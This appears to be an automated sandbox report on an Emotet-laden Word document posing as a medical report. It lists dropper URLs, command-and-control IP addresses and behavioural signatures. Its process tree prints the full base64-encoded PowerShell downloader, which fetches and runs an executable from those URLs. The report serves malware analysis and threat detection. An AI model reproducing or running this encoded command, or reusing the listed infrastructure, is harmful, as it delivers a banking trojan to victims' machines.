Analysis

  • max time kernel
    147s
  • max time network
    139s
  • platform
    windows10_x64
  • resource
    win10v200430
  • submitted
    17/07/2020, 20:13

General

  • Target
    NE-1444 Medical report p1.doc
  • Size 195KB
  • Sample200717-jgnd4srn66
  • SHA256 00a74be4df0387e408bae007bb32041b55df93573f326384f4f4aeac98231399
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    https://www.elseelektrikci.com/wp-content/hedk3/

  • exe.dropper

    https://www.rviradeals.com/wp-includes/LeDR/

  • exe.dropper

    https://skenglish.com/wp-admin/o0gf/

  • exe.dropper

    https://www.packersmoversmohali.com/wp-includes/pgmt4x/

  • exe.dropper

    https://www.tri-comma.com/wp-admin/MmD/

Extracted

Family
  • emotet

C2
  • 109.117.53.230:443

  • 212.51.142.238:8080

  • 190.160.53.126:80

  • 139.59.60.244:8080

  • 91.211.88.52:7080

  • 190.108.228.62:443

  • 186.208.123.210:443

  • 46.105.131.87:80

  • 173.91.22.41:80

  • 222.214.218.37:4143

  • 31.31.77.83:443

  • 62.75.141.82:80

  • 93.156.165.186:80

  • 93.51.50.171:8080

  • 185.94.252.104:443

  • 78.189.165.52:8080

  • 95.179.229.244:8080

  • 73.11.153.178:8080

  • 203.153.216.189:7080

  • 95.213.236.64:8080

rsa_pubkey.plain

Signatures

  • Suspicious use of SetWindowsHookEx 16 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EmotetMutantsSpam 1 IoCs
  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Blacklisted process makes network request 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\NE-1444 Medical report p1.doc" /o ""
    1⤵
    • Suspicious use of SetWindowsHookEx
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    PID:3692
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABkAG8AdQBqAHcAaQBvAGgAYwBvAGkAcwBiAG8AYQBzAGwAaQBlAHAAPQAnAGgAZQBhAGQAcQB1AG8AZQB6AHkAdQB1AHYAJwA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6ACIAUwBgAGUAYwB1AFIAaQB0AHkAcABgAFIAbwB0AGAATwBjAE8AbAAiACAAPQAgACcAdABsAHMAMQAyACwAIAB0AGwAcwAxADEALAAgAHQAbABzACcAOwAkAHQAYQBjAGgAagBhAGkAbgAgAD0AIAAnADQANAAzACcAOwAkAHAAbwB1AHYAZABvAGUAegB5AGkAbwB3AG0AYQB1AHEAdQBqAHUAdQB6AD0AJwB6AGkAbgAnADsAJABoAGEAbwBjAGgAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAHQAYQBjAGgAagBhAGkAbgArACcALgBlAHgAZQAnADsAJAByAGkAbwBmAHYAbwBhAHoAZgBlAGkAcQB1AGoAZQBqAGIAbwB1AHgAPQAnAGYAZQBpAGoAJwA7ACQAdABpAHQAaAB0AGgAbwBlAG4AeQB1AGEAdABoAGwAYQB1AHoAPQAmACgAJwBuACcAKwAnAGUAdwAtAG8AYgBqACcAKwAnAGUAYwB0ACcAKQAgAG4AZQB0AC4AdwBFAGIAQwBMAGkAZQBOAFQAOwAkAGoAdQBhAGcAYgBpAG8AeQByAG8AYQBiAGMAbwBqAD0AJwBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBlAGwAcwBlAGUAbABlAGsAdAByAGkAawBjAGkALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBoAGUAZABrADMALwAqAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAHIAdgBpAHIAYQBkAGUAYQBsAHMALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAEwAZQBEAFIALwAqAGgAdAB0AHAAcwA6AC8ALwBzAGsAZQBuAGcAbABpAHMAaAAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AbwAwAGcAZgAvACoAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AcABhAGMAawBlAHIAcwBtAG8AdgBlAHIAcwBtAG8AaABhAGwAaQAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AcABnAG0AdAA0AHgALwAqAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAHQAcgBpAC0AYwBvAG0AbQBhAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBNAG0ARAAvACcALgAiAHMAcABgAGwAaQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAeABpAG8AYwBoAGMAYQBoAGQAbwBkAHYAYQB3AHAAdQBhAGgAeQBvAGUAcQB1AD0AJwB0AGgAbwBhAGsAdgBlAGUAawBjAHUAYQBsACcAOwBmAG8AcgBlAGEAYwBoACgAJAB6AGEAbwBzAHYAdQBhAGgAdABoAG8AdQBtACAAaQBuACAAJABqAHUAYQBnAGIAaQBvAHkAcgBvAGEAYgBjAG8AagApAHsAdAByAHkAewAkAHQAaQB0AGgAdABoAG8AZQBuAHkAdQBhAHQAaABsAGEAdQB6AC4AIgBEAG8AYAB3AG4AbABvAGAAQQBgAEQAZgBpAGwAZQAiACgAJAB6AGEAbwBzAHYAdQBhAGgAdABoAG8AdQBtACwAIAAkAGgAYQBvAGMAaAApADsAJAB3AHUAYQBsAHkAaQBhAGMAaAA9ACcAeABlAHYAbgBvAGEAcQB1AGwAYQBvAGgAbABvAGUAZAB2AHUAYQBsAGYAaQBsACcAOwBJAGYAIAAoACgALgAoACcARwBlACcAKwAnAHQALQBJACcAKwAnAHQAZQBtACcAKQAgACQAaABhAG8AYwBoACkALgAiAGwAZQBgAE4ARwBgAFQAaAAiACAALQBnAGUAIAAyADYAMwAyADYAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAGMAYABSAGAAZQBhAHQARQAiACgAJABoAGEAbwBjAGgAKQA7ACQAbgBhAG4APQAnAHEAdQBhAG8AeABjAGgAZQBlAHcAdgBvAHUAdABoAGIAYQB1AGMAdgBhAG8AdABoACcAOwBiAHIAZQBhAGsAOwAkAHgAdQB1AGwAZwB1AHUAagA9ACcAdwBhAG8AawB5AGEAZQBuAG0AZQBvAHoAagBhAHUAdwBmAHUAdQBjAGMAaABpAGEAcwAnAH0AfQBjAGEAdABjAGgAewB9AH0AJAB0AGgAaQBrAHQAaABpAG8AegBoAHUAbQA9ACcAdABhAGkAdwB2AGUAaQBjAHQAaQBjAGgAJwA=
    1⤵
    • Process spawned unexpected child process
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious behavior: EnumeratesProcesses
    • Blacklisted process makes network request
    PID:3012
  • C:\Users\Admin\443.exe
    C:\Users\Admin\443.exe
    1⤵
    • Suspicious use of SetWindowsHookEx
    • Executes dropped EXE
    • Drops file in System32 directory
    • Suspicious use of WriteProcessMemory
    PID:3824
    • C:\Windows\SysWOW64\CoreShellAPI\sud.exe
      "C:\Windows\SysWOW64\CoreShellAPI\sud.exe"
      2⤵
      • Suspicious use of SetWindowsHookEx
      • Executes dropped EXE
      • Suspicious behavior: EmotetMutantsSpam
      • Suspicious behavior: EnumeratesProcesses
      PID:3820

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/3820-9-0x0000000000750000-0x000000000075C000-memory.dmp

        memory/3820-10-0x0000000000400000-0x0000000000448000-memory.dmp

        memory/3824-6-0x00000000004E0000-0x00000000004EC000-memory.dmp